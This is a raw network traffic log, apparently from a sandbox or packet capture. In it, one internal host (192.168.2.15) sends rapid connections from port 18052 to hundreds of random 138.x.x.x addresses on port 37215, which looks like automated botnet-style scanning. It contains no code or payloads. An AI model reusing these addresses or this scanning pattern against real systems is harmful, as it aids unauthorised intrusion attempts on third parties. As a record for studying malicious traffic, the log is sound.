Feb 19, 2024 18:36:18.868927002 CET	18052	37215	192.168.2.15	138.73.67.97
Feb 19, 2024 18:36:18.868928909 CET	18052	37215	192.168.2.15	138.239.227.71
Feb 19, 2024 18:36:18.868946075 CET	18052	37215	192.168.2.15	138.230.228.226
Feb 19, 2024 18:36:18.869050026 CET	18052	37215	192.168.2.15	138.28.236.209
Feb 19, 2024 18:36:18.869050980 CET	18052	37215	192.168.2.15	138.195.193.174
Feb 19, 2024 18:36:18.869052887 CET	18052	37215	192.168.2.15	138.73.8.1
Feb 19, 2024 18:36:18.869055986 CET	18052	37215	192.168.2.15	138.139.143.235
Feb 19, 2024 18:36:18.869057894 CET	18052	37215	192.168.2.15	138.31.147.174
Feb 19, 2024 18:36:18.869080067 CET	18052	37215	192.168.2.15	138.101.100.3
Feb 19, 2024 18:36:18.869097948 CET	18052	37215	192.168.2.15	138.36.173.107
Feb 19, 2024 18:36:18.869132042 CET	18052	37215	192.168.2.15	138.84.198.237
Feb 19, 2024 18:36:18.869132042 CET	18052	37215	192.168.2.15	138.153.213.103
Feb 19, 2024 18:36:18.869132042 CET	18052	37215	192.168.2.15	138.157.59.53
Feb 19, 2024 18:36:18.869151115 CET	18052	37215	192.168.2.15	138.36.181.168
Feb 19, 2024 18:36:18.869246960 CET	18052	37215	192.168.2.15	138.200.35.218
Feb 19, 2024 18:36:18.869246960 CET	18052	37215	192.168.2.15	138.247.175.216
Feb 19, 2024 18:36:18.869261980 CET	18052	37215	192.168.2.15	138.239.23.232
Feb 19, 2024 18:36:18.869263887 CET	18052	37215	192.168.2.15	138.22.63.123
Feb 19, 2024 18:36:18.869266987 CET	18052	37215	192.168.2.15	138.33.99.187
Feb 19, 2024 18:36:18.869277000 CET	18052	37215	192.168.2.15	138.202.99.47
Feb 19, 2024 18:36:18.869293928 CET	18052	37215	192.168.2.15	138.213.104.32
Feb 19, 2024 18:36:18.869311094 CET	18052	37215	192.168.2.15	138.246.231.194
Feb 19, 2024 18:36:18.869333029 CET	18052	37215	192.168.2.15	138.61.149.24
Feb 19, 2024 18:36:18.869415998 CET	18052	37215	192.168.2.15	138.123.76.11
Feb 19, 2024 18:36:18.869422913 CET	18052	37215	192.168.2.15	138.53.23.247
Feb 19, 2024 18:36:18.869429111 CET	18052	37215	192.168.2.15	138.97.226.138
Feb 19, 2024 18:36:18.869429111 CET	18052	37215	192.168.2.15	138.131.236.77
Feb 19, 2024 18:36:18.869435072 CET	18052	37215	192.168.2.15	138.158.181.54
Feb 19, 2024 18:36:18.869445086 CET	18052	37215	192.168.2.15	138.8.158.80
Feb 19, 2024 18:36:18.869462013 CET	18052	37215	192.168.2.15	138.118.56.169
Feb 19, 2024 18:36:18.869482040 CET	18052	37215	192.168.2.15	138.246.21.238
Feb 19, 2024 18:36:18.869553089 CET	18052	37215	192.168.2.15	138.22.72.211
Feb 19, 2024 18:36:18.869554043 CET	18052	37215	192.168.2.15	138.106.94.140
Feb 19, 2024 18:36:18.869555950 CET	18052	37215	192.168.2.15	138.36.75.251
Feb 19, 2024 18:36:18.869635105 CET	18052	37215	192.168.2.15	138.185.101.129
Feb 19, 2024 18:36:18.869636059 CET	18052	37215	192.168.2.15	138.116.39.171
Feb 19, 2024 18:36:18.869636059 CET	18052	37215	192.168.2.15	138.212.94.159
Feb 19, 2024 18:36:18.869636059 CET	18052	37215	192.168.2.15	138.225.33.107
Feb 19, 2024 18:36:18.869657040 CET	18052	37215	192.168.2.15	138.149.54.84
Feb 19, 2024 18:36:18.869657040 CET	18052	37215	192.168.2.15	138.7.21.172
Feb 19, 2024 18:36:18.869669914 CET	18052	37215	192.168.2.15	138.156.103.180
Feb 19, 2024 18:36:18.869771957 CET	18052	37215	192.168.2.15	138.63.129.11
Feb 19, 2024 18:36:18.869776011 CET	18052	37215	192.168.2.15	138.59.178.179
Feb 19, 2024 18:36:18.869776011 CET	18052	37215	192.168.2.15	138.166.168.25
Feb 19, 2024 18:36:18.869791985 CET	18052	37215	192.168.2.15	138.53.217.163
Feb 19, 2024 18:36:18.869791985 CET	18052	37215	192.168.2.15	138.47.82.122
Feb 19, 2024 18:36:18.869796038 CET	18052	37215	192.168.2.15	138.6.11.229
Feb 19, 2024 18:36:18.869856119 CET	18052	37215	192.168.2.15	138.54.114.48
Feb 19, 2024 18:36:18.869856119 CET	18052	37215	192.168.2.15	138.9.52.43
Feb 19, 2024 18:36:18.869863033 CET	18052	37215	192.168.2.15	138.209.84.123
Feb 19, 2024 18:36:18.869863987 CET	18052	37215	192.168.2.15	138.76.16.133
Feb 19, 2024 18:36:18.869909048 CET	18052	37215	192.168.2.15	138.17.102.45
Feb 19, 2024 18:36:18.869914055 CET	18052	37215	192.168.2.15	138.161.132.251
Feb 19, 2024 18:36:18.869961977 CET	18052	37215	192.168.2.15	138.217.141.246
Feb 19, 2024 18:36:18.869961977 CET	18052	37215	192.168.2.15	138.30.218.89
Feb 19, 2024 18:36:18.870013952 CET	18052	37215	192.168.2.15	138.254.120.202
Feb 19, 2024 18:36:18.870021105 CET	18052	37215	192.168.2.15	138.70.210.204
Feb 19, 2024 18:36:18.870023966 CET	18052	37215	192.168.2.15	138.246.143.144
Feb 19, 2024 18:36:18.870033979 CET	18052	37215	192.168.2.15	138.185.88.89
Feb 19, 2024 18:36:18.870080948 CET	18052	37215	192.168.2.15	138.71.141.10
Feb 19, 2024 18:36:18.870120049 CET	18052	37215	192.168.2.15	138.161.13.85
Feb 19, 2024 18:36:18.870148897 CET	18052	37215	192.168.2.15	138.37.18.136
Feb 19, 2024 18:36:18.870178938 CET	18052	37215	192.168.2.15	138.12.188.65
Feb 19, 2024 18:36:18.870178938 CET	18052	37215	192.168.2.15	138.175.203.252
Feb 19, 2024 18:36:18.870183945 CET	18052	37215	192.168.2.15	138.248.99.174
Feb 19, 2024 18:36:18.870184898 CET	18052	37215	192.168.2.15	138.87.171.86
Feb 19, 2024 18:36:18.870193958 CET	18052	37215	192.168.2.15	138.90.73.70
Feb 19, 2024 18:36:18.870225906 CET	18052	37215	192.168.2.15	138.159.223.239
Feb 19, 2024 18:36:18.870229006 CET	18052	37215	192.168.2.15	138.20.240.157
Feb 19, 2024 18:36:18.870335102 CET	18052	37215	192.168.2.15	138.145.226.212
Feb 19, 2024 18:36:18.870342016 CET	18052	37215	192.168.2.15	138.200.216.85
Feb 19, 2024 18:36:18.870343924 CET	18052	37215	192.168.2.15	138.215.28.175
Feb 19, 2024 18:36:18.870362997 CET	18052	37215	192.168.2.15	138.152.226.121
Feb 19, 2024 18:36:18.870364904 CET	18052	37215	192.168.2.15	138.244.95.126
Feb 19, 2024 18:36:18.870430946 CET	18052	37215	192.168.2.15	138.193.73.242
Feb 19, 2024 18:36:18.870430946 CET	18052	37215	192.168.2.15	138.168.214.82
Feb 19, 2024 18:36:18.870430946 CET	18052	37215	192.168.2.15	138.123.195.234
Feb 19, 2024 18:36:18.870491982 CET	18052	37215	192.168.2.15	138.171.160.149
Feb 19, 2024 18:36:18.870491982 CET	18052	37215	192.168.2.15	138.224.69.170
Feb 19, 2024 18:36:18.870495081 CET	18052	37215	192.168.2.15	138.200.7.205
Feb 19, 2024 18:36:18.870495081 CET	18052	37215	192.168.2.15	138.109.50.13
Feb 19, 2024 18:36:18.870521069 CET	18052	37215	192.168.2.15	138.184.47.235
Feb 19, 2024 18:36:18.870560884 CET	18052	37215	192.168.2.15	138.218.140.163
Feb 19, 2024 18:36:18.870619059 CET	18052	37215	192.168.2.15	138.8.141.50
Feb 19, 2024 18:36:18.870628119 CET	18052	37215	192.168.2.15	138.102.212.222
Feb 19, 2024 18:36:18.870632887 CET	18052	37215	192.168.2.15	138.127.140.232
Feb 19, 2024 18:36:18.870634079 CET	18052	37215	192.168.2.15	138.99.48.187
Feb 19, 2024 18:36:18.870644093 CET	18052	37215	192.168.2.15	138.239.189.56
Feb 19, 2024 18:36:18.870692968 CET	18052	37215	192.168.2.15	138.214.234.129
Feb 19, 2024 18:36:18.870733976 CET	18052	37215	192.168.2.15	138.124.14.254
Feb 19, 2024 18:36:18.870738029 CET	18052	37215	192.168.2.15	138.248.201.108
Feb 19, 2024 18:36:18.870738029 CET	18052	37215	192.168.2.15	138.200.8.179
Feb 19, 2024 18:36:18.870743036 CET	18052	37215	192.168.2.15	138.203.227.35
Feb 19, 2024 18:36:18.870757103 CET	18052	37215	192.168.2.15	138.108.7.42
Feb 19, 2024 18:36:18.870816946 CET	18052	37215	192.168.2.15	138.199.159.99
Feb 19, 2024 18:36:18.870817900 CET	18052	37215	192.168.2.15	138.30.131.69
Feb 19, 2024 18:36:18.870821953 CET	18052	37215	192.168.2.15	138.95.134.75
Feb 19, 2024 18:36:18.870877981 CET	18052	37215	192.168.2.15	138.197.48.229
Feb 19, 2024 18:36:18.870879889 CET	18052	37215	192.168.2.15	138.178.76.177
Feb 19, 2024 18:36:18.870889902 CET	18052	37215	192.168.2.15	138.252.125.211
Feb 19, 2024 18:36:18.870893955 CET	18052	37215	192.168.2.15	138.140.244.215
Feb 19, 2024 18:36:18.870948076 CET	18052	37215	192.168.2.15	138.98.213.240
Feb 19, 2024 18:36:18.870948076 CET	18052	37215	192.168.2.15	138.216.116.195
Feb 19, 2024 18:36:18.870950937 CET	18052	37215	192.168.2.15	138.162.157.74
Feb 19, 2024 18:36:18.871010065 CET	18052	37215	192.168.2.15	138.182.54.172
Feb 19, 2024 18:36:18.871014118 CET	18052	37215	192.168.2.15	138.234.72.87
Feb 19, 2024 18:36:18.871015072 CET	18052	37215	192.168.2.15	138.97.4.184
Feb 19, 2024 18:36:18.871030092 CET	18052	37215	192.168.2.15	138.93.177.49
Feb 19, 2024 18:36:18.871037006 CET	18052	37215	192.168.2.15	138.72.154.11
Feb 19, 2024 18:36:18.871056080 CET	18052	37215	192.168.2.15	138.213.51.124
Feb 19, 2024 18:36:18.871083975 CET	18052	37215	192.168.2.15	138.120.155.188
Feb 19, 2024 18:36:18.871166945 CET	18052	37215	192.168.2.15	138.123.209.107
Feb 19, 2024 18:36:18.871167898 CET	18052	37215	192.168.2.15	138.119.183.50
Feb 19, 2024 18:36:18.871166945 CET	18052	37215	192.168.2.15	138.15.177.254
Feb 19, 2024 18:36:18.871181011 CET	18052	37215	192.168.2.15	138.192.6.230
Feb 19, 2024 18:36:18.871181011 CET	18052	37215	192.168.2.15	138.151.217.232
Feb 19, 2024 18:36:18.871184111 CET	18052	37215	192.168.2.15	138.58.100.185
Feb 19, 2024 18:36:18.871189117 CET	18052	37215	192.168.2.15	138.208.61.18
Feb 19, 2024 18:36:18.871206999 CET	18052	37215	192.168.2.15	138.238.53.139
Feb 19, 2024 18:36:18.871227026 CET	18052	37215	192.168.2.15	138.23.121.144
Feb 19, 2024 18:36:18.871247053 CET	18052	37215	192.168.2.15	138.42.139.64
Feb 19, 2024 18:36:18.871273041 CET	18052	37215	192.168.2.15	138.191.255.172
Feb 19, 2024 18:36:18.871367931 CET	18052	37215	192.168.2.15	138.209.140.136
Feb 19, 2024 18:36:18.871370077 CET	18052	37215	192.168.2.15	138.31.135.5
Feb 19, 2024 18:36:18.871378899 CET	18052	37215	192.168.2.15	138.162.14.107
Feb 19, 2024 18:36:18.871381998 CET	18052	37215	192.168.2.15	138.5.211.44
Feb 19, 2024 18:36:18.871381998 CET	18052	37215	192.168.2.15	138.37.193.89
Feb 19, 2024 18:36:18.871382952 CET	18052	37215	192.168.2.15	138.85.240.222
Feb 19, 2024 18:36:18.871474028 CET	18052	37215	192.168.2.15	138.235.61.220
Feb 19, 2024 18:36:18.871475935 CET	18052	37215	192.168.2.15	138.247.106.183
Feb 19, 2024 18:36:18.871479034 CET	18052	37215	192.168.2.15	138.82.32.86
Feb 19, 2024 18:36:18.871509075 CET	18052	37215	192.168.2.15	138.90.234.244
Feb 19, 2024 18:36:18.871517897 CET	18052	37215	192.168.2.15	138.43.24.10
Feb 19, 2024 18:36:18.871517897 CET	18052	37215	192.168.2.15	138.242.27.160
Feb 19, 2024 18:36:18.871534109 CET	18052	37215	192.168.2.15	138.199.44.214
Feb 19, 2024 18:36:18.871592999 CET	18052	37215	192.168.2.15	138.220.45.197
Feb 19, 2024 18:36:18.871598959 CET	18052	37215	192.168.2.15	138.2.194.60
Feb 19, 2024 18:36:18.871599913 CET	18052	37215	192.168.2.15	138.66.29.183
Feb 19, 2024 18:36:18.871614933 CET	18052	37215	192.168.2.15	138.236.13.88
Feb 19, 2024 18:36:18.871659040 CET	18052	37215	192.168.2.15	138.114.240.98
Feb 19, 2024 18:36:18.871663094 CET	18052	37215	192.168.2.15	138.220.148.223
Feb 19, 2024 18:36:18.871675014 CET	18052	37215	192.168.2.15	138.144.183.51
Feb 19, 2024 18:36:18.871716022 CET	18052	37215	192.168.2.15	138.95.224.188
Feb 19, 2024 18:36:18.871736050 CET	18052	37215	192.168.2.15	138.164.239.102
Feb 19, 2024 18:36:18.871737003 CET	18052	37215	192.168.2.15	138.12.29.119
Feb 19, 2024 18:36:18.871737003 CET	18052	37215	192.168.2.15	138.219.70.148
Feb 19, 2024 18:36:18.871809959 CET	18052	37215	192.168.2.15	138.46.122.18
Feb 19, 2024 18:36:18.871855021 CET	18052	37215	192.168.2.15	138.101.61.98
Feb 19, 2024 18:36:18.871855021 CET	18052	37215	192.168.2.15	138.108.150.38
Feb 19, 2024 18:36:18.871857882 CET	18052	37215	192.168.2.15	138.114.30.109
Feb 19, 2024 18:36:18.871869087 CET	18052	37215	192.168.2.15	138.16.5.194
Feb 19, 2024 18:36:18.871869087 CET	18052	37215	192.168.2.15	138.45.253.193
Feb 19, 2024 18:36:18.871876001 CET	18052	37215	192.168.2.15	138.38.172.129
Feb 19, 2024 18:36:18.871905088 CET	18052	37215	192.168.2.15	138.111.99.24
Feb 19, 2024 18:36:18.871912956 CET	18052	37215	192.168.2.15	138.5.68.235
Feb 19, 2024 18:36:18.871917009 CET	18052	37215	192.168.2.15	138.236.212.223
Feb 19, 2024 18:36:18.871958971 CET	18052	37215	192.168.2.15	138.189.183.125
Feb 19, 2024 18:36:18.871958971 CET	18052	37215	192.168.2.15	138.135.100.156
Feb 19, 2024 18:36:18.871974945 CET	18052	37215	192.168.2.15	138.243.240.167
Feb 19, 2024 18:36:18.871993065 CET	18052	37215	192.168.2.15	138.240.56.110
Feb 19, 2024 18:36:18.872046947 CET	18052	37215	192.168.2.15	138.155.26.237
Feb 19, 2024 18:36:18.872047901 CET	18052	37215	192.168.2.15	138.101.170.68
Feb 19, 2024 18:36:18.872091055 CET	18052	37215	192.168.2.15	138.80.60.170
Feb 19, 2024 18:36:18.872095108 CET	18052	37215	192.168.2.15	138.89.87.7
Feb 19, 2024 18:36:18.872107029 CET	18052	37215	192.168.2.15	138.140.208.211
Feb 19, 2024 18:36:18.872123957 CET	18052	37215	192.168.2.15	138.84.101.220
Feb 19, 2024 18:36:18.872132063 CET	18052	37215	192.168.2.15	138.170.77.170
Feb 19, 2024 18:36:18.872142076 CET	18052	37215	192.168.2.15	138.6.199.36
Feb 19, 2024 18:36:18.872240067 CET	18052	37215	192.168.2.15	138.0.29.177
Feb 19, 2024 18:36:18.872240067 CET	18052	37215	192.168.2.15	138.247.215.167
Feb 19, 2024 18:36:18.872245073 CET	18052	37215	192.168.2.15	138.111.86.129
Feb 19, 2024 18:36:18.872251034 CET	18052	37215	192.168.2.15	138.5.195.214
Feb 19, 2024 18:36:18.872251034 CET	18052	37215	192.168.2.15	138.185.189.226
Feb 19, 2024 18:36:18.872266054 CET	18052	37215	192.168.2.15	138.66.142.114
Feb 19, 2024 18:36:18.872284889 CET	18052	37215	192.168.2.15	138.117.131.201
Feb 19, 2024 18:36:18.872304916 CET	18052	37215	192.168.2.15	138.204.184.43
Feb 19, 2024 18:36:18.872384071 CET	18052	37215	192.168.2.15	138.149.196.240
Feb 19, 2024 18:36:18.872399092 CET	18052	37215	192.168.2.15	138.115.229.122
Feb 19, 2024 18:36:18.872400045 CET	18052	37215	192.168.2.15	138.37.165.11
Feb 19, 2024 18:36:18.872405052 CET	18052	37215	192.168.2.15	138.228.90.36
Feb 19, 2024 18:36:18.872442961 CET	18052	37215	192.168.2.15	138.196.158.105
Feb 19, 2024 18:36:18.872462988 CET	18052	37215	192.168.2.15	138.204.107.31
Feb 19, 2024 18:36:18.872463942 CET	18052	37215	192.168.2.15	138.232.149.37
Feb 19, 2024 18:36:18.872504950 CET	18052	37215	192.168.2.15	138.189.179.86
Feb 19, 2024 18:36:18.872504950 CET	18052	37215	192.168.2.15	138.17.133.87
Feb 19, 2024 18:36:18.872512102 CET	18052	37215	192.168.2.15	138.138.48.187
Feb 19, 2024 18:36:18.872512102 CET	18052	37215	192.168.2.15	138.252.109.69
Feb 19, 2024 18:36:18.872529030 CET	18052	37215	192.168.2.15	138.115.234.214
Feb 19, 2024 18:36:18.872567892 CET	18052	37215	192.168.2.15	138.96.111.31
Feb 19, 2024 18:36:18.872585058 CET	18052	37215	192.168.2.15	138.139.141.201
Feb 19, 2024 18:36:18.872585058 CET	18052	37215	192.168.2.15	138.25.181.15
Feb 19, 2024 18:36:18.872634888 CET	18052	37215	192.168.2.15	138.74.238.30
Feb 19, 2024 18:36:18.872637033 CET	18052	37215	192.168.2.15	138.101.209.39
Feb 19, 2024 18:36:18.872647047 CET	18052	37215	192.168.2.15	138.158.103.0
Feb 19, 2024 18:36:18.872715950 CET	18052	37215	192.168.2.15	138.1.56.99
Feb 19, 2024 18:36:18.872721910 CET	18052	37215	192.168.2.15	138.134.120.131
Feb 19, 2024 18:36:18.872721910 CET	18052	37215	192.168.2.15	138.65.228.226
Feb 19, 2024 18:36:18.872754097 CET	18052	37215	192.168.2.15	138.71.125.236
Feb 19, 2024 18:36:18.872783899 CET	18052	37215	192.168.2.15	138.115.221.230
Feb 19, 2024 18:36:18.872803926 CET	18052	37215	192.168.2.15	138.41.244.201
Feb 19, 2024 18:36:18.872819901 CET	18052	37215	192.168.2.15	138.55.113.86
Feb 19, 2024 18:36:18.872838020 CET	18052	37215	192.168.2.15	138.58.49.70
Feb 19, 2024 18:36:18.872854948 CET	18052	37215	192.168.2.15	138.19.157.12
Feb 19, 2024 18:36:18.873527050 CET	18052	37215	192.168.2.15	138.121.130.193
Feb 19, 2024 18:36:18.873543978 CET	18052	37215	192.168.2.15	138.149.30.180
Feb 19, 2024 18:36:18.873555899 CET	18052	37215	192.168.2.15	138.218.30.20
Feb 19, 2024 18:36:18.873569965 CET	18052	37215	192.168.2.15	138.128.115.202
Feb 19, 2024 18:36:18.873588085 CET	18052	37215	192.168.2.15	138.5.101.228
Feb 19, 2024 18:36:18.873608112 CET	18052	37215	192.168.2.15	138.122.116.4
Feb 19, 2024 18:36:18.873627901 CET	18052	37215	192.168.2.15	138.102.250.147
Feb 19, 2024 18:36:18.873646021 CET	18052	37215	192.168.2.15	138.5.40.208
Feb 19, 2024 18:36:18.873734951 CET	18052	37215	192.168.2.15	138.147.112.29
Feb 19, 2024 18:36:18.873744965 CET	18052	37215	192.168.2.15	138.213.111.151
Feb 19, 2024 18:36:18.873745918 CET	18052	37215	192.168.2.15	138.9.14.148
Feb 19, 2024 18:36:18.873783112 CET	18052	37215	192.168.2.15	138.3.72.199
Feb 19, 2024 18:36:18.873804092 CET	18052	37215	192.168.2.15	138.101.186.132
Feb 19, 2024 18:36:18.873821974 CET	18052	37215	192.168.2.15	138.211.195.150
Feb 19, 2024 18:36:18.873822927 CET	18052	37215	192.168.2.15	138.224.77.229
Feb 19, 2024 18:36:18.873821974 CET	18052	37215	192.168.2.15	138.135.242.150
Feb 19, 2024 18:36:18.873821974 CET	18052	37215	192.168.2.15	138.90.108.115
Feb 19, 2024 18:36:18.873821974 CET	18052	37215	192.168.2.15	138.221.178.212
Feb 19, 2024 18:36:18.873927116 CET	18052	37215	192.168.2.15	138.36.251.83
Feb 19, 2024 18:36:18.873927116 CET	18052	37215	192.168.2.15	138.175.133.31
Feb 19, 2024 18:36:18.873934031 CET	18052	37215	192.168.2.15	138.214.9.14
Feb 19, 2024 18:36:18.873935938 CET	18052	37215	192.168.2.15	138.91.0.23
Feb 19, 2024 18:36:18.873950005 CET	18052	37215	192.168.2.15	138.193.235.111
Feb 19, 2024 18:36:18.873965979 CET	18052	37215	192.168.2.15	138.81.131.174
Feb 19, 2024 18:36:18.873965979 CET	18052	37215	192.168.2.15	138.195.46.77
Feb 19, 2024 18:36:18.873971939 CET	18052	37215	192.168.2.15	138.98.174.25
Feb 19, 2024 18:36:18.874021053 CET	18052	37215	192.168.2.15	138.11.141.243
Feb 19, 2024 18:36:18.874072075 CET	18052	37215	192.168.2.15	138.211.111.177
Feb 19, 2024 18:36:18.874090910 CET	18052	37215	192.168.2.15	138.219.134.148
Feb 19, 2024 18:36:18.874128103 CET	18052	37215	192.168.2.15	138.180.48.190
Feb 19, 2024 18:36:18.874130964 CET	18052	37215	192.168.2.15	138.152.18.125
Feb 19, 2024 18:36:18.874131918 CET	18052	37215	192.168.2.15	138.78.51.118
Feb 19, 2024 18:36:18.874131918 CET	18052	37215	192.168.2.15	138.36.231.206
Feb 19, 2024 18:36:18.874140024 CET	18052	37215	192.168.2.15	138.52.198.208
Feb 19, 2024 18:36:18.874149084 CET	18052	37215	192.168.2.15	138.234.181.64
Feb 19, 2024 18:36:18.874205112 CET	18052	37215	192.168.2.15	138.140.56.164
Feb 19, 2024 18:36:18.874205112 CET	18052	37215	192.168.2.15	138.26.211.41
Feb 19, 2024 18:36:18.874243975 CET	18052	37215	192.168.2.15	138.208.125.75
Feb 19, 2024 18:36:18.874255896 CET	18052	37215	192.168.2.15	138.66.150.60
Feb 19, 2024 18:36:18.874255896 CET	18052	37215	192.168.2.15	138.73.24.50
Feb 19, 2024 18:36:18.874270916 CET	18052	37215	192.168.2.15	138.191.147.100
Feb 19, 2024 18:36:18.874284983 CET	18052	37215	192.168.2.15	138.198.187.225
Feb 19, 2024 18:36:18.874308109 CET	18052	37215	192.168.2.15	138.98.115.26
Feb 19, 2024 18:36:18.874362946 CET	18052	37215	192.168.2.15	138.87.56.246
Feb 19, 2024 18:36:18.874407053 CET	18052	37215	192.168.2.15	138.64.67.151
Feb 19, 2024 18:36:18.874408960 CET	18052	37215	192.168.2.15	138.181.141.21
Feb 19, 2024 18:36:18.874414921 CET	18052	37215	192.168.2.15	138.168.63.226
Feb 19, 2024 18:36:18.874417067 CET	18052	37215	192.168.2.15	138.134.222.11
Feb 19, 2024 18:36:18.874432087 CET	18052	37215	192.168.2.15	138.172.64.98
Feb 19, 2024 18:36:18.874440908 CET	18052	37215	192.168.2.15	138.251.35.133
Feb 19, 2024 18:36:18.874442101 CET	18052	37215	192.168.2.15	138.45.12.241
Feb 19, 2024 18:36:18.874490976 CET	18052	37215	192.168.2.15	138.15.26.175
Feb 19, 2024 18:36:18.874526978 CET	18052	37215	192.168.2.15	138.238.48.151
Feb 19, 2024 18:36:18.874564886 CET	18052	37215	192.168.2.15	138.118.211.212
Feb 19, 2024 18:36:18.874567032 CET	18052	37215	192.168.2.15	138.173.21.83
Feb 19, 2024 18:36:18.874567986 CET	18052	37215	192.168.2.15	138.18.99.199
Feb 19, 2024 18:36:18.874567986 CET	18052	37215	192.168.2.15	138.29.76.201
Feb 19, 2024 18:36:18.874584913 CET	18052	37215	192.168.2.15	138.43.120.207
Feb 19, 2024 18:36:18.874603987 CET	18052	37215	192.168.2.15	138.43.178.84
Feb 19, 2024 18:36:18.874630928 CET	18052	37215	192.168.2.15	138.121.229.138
Feb 19, 2024 18:36:18.874710083 CET	18052	37215	192.168.2.15	138.130.217.123
Feb 19, 2024 18:36:18.874711037 CET	18052	37215	192.168.2.15	138.11.119.179
Feb 19, 2024 18:36:18.874711037 CET	18052	37215	192.168.2.15	138.140.208.79
Feb 19, 2024 18:36:18.874718904 CET	18052	37215	192.168.2.15	138.210.179.40
Feb 19, 2024 18:36:18.874732018 CET	18052	37215	192.168.2.15	138.186.74.248
Feb 19, 2024 18:36:18.874752998 CET	18052	37215	192.168.2.15	138.113.71.198
Feb 19, 2024 18:36:18.874784946 CET	18052	37215	192.168.2.15	138.249.127.104
Feb 19, 2024 18:36:18.874794960 CET	18052	37215	192.168.2.15	138.206.20.42
Feb 19, 2024 18:36:18.874794960 CET	18052	37215	192.168.2.15	138.127.71.203
Feb 19, 2024 18:36:18.874794960 CET	18052	37215	192.168.2.15	138.171.139.246
Feb 19, 2024 18:36:18.874845982 CET	18052	37215	192.168.2.15	138.205.66.117
Feb 19, 2024 18:36:18.874850988 CET	18052	37215	192.168.2.15	138.195.62.52
Feb 19, 2024 18:36:18.874905109 CET	18052	37215	192.168.2.15	138.119.156.203
Feb 19, 2024 18:36:18.874907970 CET	18052	37215	192.168.2.15	138.142.53.112
Feb 19, 2024 18:36:18.874911070 CET	18052	37215	192.168.2.15	138.250.212.229
Feb 19, 2024 18:36:18.874913931 CET	18052	37215	192.168.2.15	138.104.84.1
Feb 19, 2024 18:36:18.874934912 CET	18052	37215	192.168.2.15	138.7.212.16
Feb 19, 2024 18:36:18.875029087 CET	18052	37215	192.168.2.15	138.194.147.126
Feb 19, 2024 18:36:18.875030994 CET	18052	37215	192.168.2.15	138.201.46.58
Feb 19, 2024 18:36:18.875030994 CET	18052	37215	192.168.2.15	138.76.246.62
Feb 19, 2024 18:36:18.875031948 CET	18052	37215	192.168.2.15	138.23.115.72
Feb 19, 2024 18:36:18.875035048 CET	18052	37215	192.168.2.15	138.168.190.174
Feb 19, 2024 18:36:18.875045061 CET	18052	37215	192.168.2.15	138.74.104.193
Feb 19, 2024 18:36:18.875066042 CET	18052	37215	192.168.2.15	138.154.135.221
Feb 19, 2024 18:36:18.875106096 CET	18052	37215	192.168.2.15	138.70.163.226
Feb 19, 2024 18:36:18.875108957 CET	18052	37215	192.168.2.15	138.248.132.143
Feb 19, 2024 18:36:18.875195980 CET	18052	37215	192.168.2.15	138.148.39.31
Feb 19, 2024 18:36:18.875196934 CET	18052	37215	192.168.2.15	138.138.212.207
Feb 19, 2024 18:36:18.875197887 CET	18052	37215	192.168.2.15	138.32.119.185
Feb 19, 2024 18:36:18.875202894 CET	18052	37215	192.168.2.15	138.77.240.238
Feb 19, 2024 18:36:18.875204086 CET	18052	37215	192.168.2.15	138.28.140.221
Feb 19, 2024 18:36:18.875228882 CET	18052	37215	192.168.2.15	138.219.150.80
Feb 19, 2024 18:36:18.875291109 CET	18052	37215	192.168.2.15	138.174.147.115
Feb 19, 2024 18:36:18.875293970 CET	18052	37215	192.168.2.15	138.40.123.130
Feb 19, 2024 18:36:18.875323057 CET	18052	37215	192.168.2.15	138.127.18.174
Feb 19, 2024 18:36:18.875355005 CET	18052	37215	192.168.2.15	138.162.210.61
Feb 19, 2024 18:36:18.875360012 CET	18052	37215	192.168.2.15	138.157.118.156
Feb 19, 2024 18:36:18.875365019 CET	18052	37215	192.168.2.15	138.218.242.238
Feb 19, 2024 18:36:18.875408888 CET	18052	37215	192.168.2.15	138.27.252.157
Feb 19, 2024 18:36:18.875410080 CET	18052	37215	192.168.2.15	138.202.174.110
Feb 19, 2024 18:36:18.875479937 CET	18052	37215	192.168.2.15	138.158.237.174
Feb 19, 2024 18:36:18.875490904 CET	18052	37215	192.168.2.15	138.202.94.139
Feb 19, 2024 18:36:18.875495911 CET	18052	37215	192.168.2.15	138.27.136.2
Feb 19, 2024 18:36:18.875504017 CET	18052	37215	192.168.2.15	138.53.14.6
Feb 19, 2024 18:36:18.875513077 CET	18052	37215	192.168.2.15	138.209.184.224
Feb 19, 2024 18:36:18.875533104 CET	18052	37215	192.168.2.15	138.53.117.56
Feb 19, 2024 18:36:18.875552893 CET	18052	37215	192.168.2.15	138.254.42.56
Feb 19, 2024 18:36:18.875596046 CET	18052	37215	192.168.2.15	138.64.150.229
Feb 19, 2024 18:36:18.875655890 CET	18052	37215	192.168.2.15	138.3.193.124
Feb 19, 2024 18:36:18.875658035 CET	18052	37215	192.168.2.15	138.64.189.32
Feb 19, 2024 18:36:18.875658035 CET	18052	37215	192.168.2.15	138.251.14.137
Feb 19, 2024 18:36:18.875663042 CET	18052	37215	192.168.2.15	138.225.73.100
Feb 19, 2024 18:36:18.875703096 CET	18052	37215	192.168.2.15	138.245.236.146
Feb 19, 2024 18:36:18.875708103 CET	18052	37215	192.168.2.15	138.14.74.63
Feb 19, 2024 18:36:18.875718117 CET	18052	37215	192.168.2.15	138.38.235.206
Feb 19, 2024 18:36:18.875802994 CET	18052	37215	192.168.2.15	138.187.91.157
Feb 19, 2024 18:36:18.875809908 CET	18052	37215	192.168.2.15	138.19.186.197
Feb 19, 2024 18:36:18.875809908 CET	18052	37215	192.168.2.15	138.173.167.46
Feb 19, 2024 18:36:18.875809908 CET	18052	37215	192.168.2.15	138.204.75.175
Feb 19, 2024 18:36:18.875814915 CET	18052	37215	192.168.2.15	138.9.73.95
Feb 19, 2024 18:36:18.875827074 CET	18052	37215	192.168.2.15	138.129.168.37
Feb 19, 2024 18:36:18.875893116 CET	18052	37215	192.168.2.15	138.111.45.195
Feb 19, 2024 18:36:18.875924110 CET	18052	37215	192.168.2.15	138.227.142.66
Feb 19, 2024 18:36:18.875978947 CET	18052	37215	192.168.2.15	138.83.126.98
Feb 19, 2024 18:36:18.876024961 CET	18052	37215	192.168.2.15	138.141.51.126
Feb 19, 2024 18:36:18.876029015 CET	18052	37215	192.168.2.15	138.242.120.43
Feb 19, 2024 18:36:18.876029015 CET	18052	37215	192.168.2.15	138.198.157.123
Feb 19, 2024 18:36:18.876049042 CET	18052	37215	192.168.2.15	138.140.170.137
Feb 19, 2024 18:36:18.876055956 CET	18052	37215	192.168.2.15	138.69.225.106
Feb 19, 2024 18:36:18.876060009 CET	18052	37215	192.168.2.15	138.84.49.210
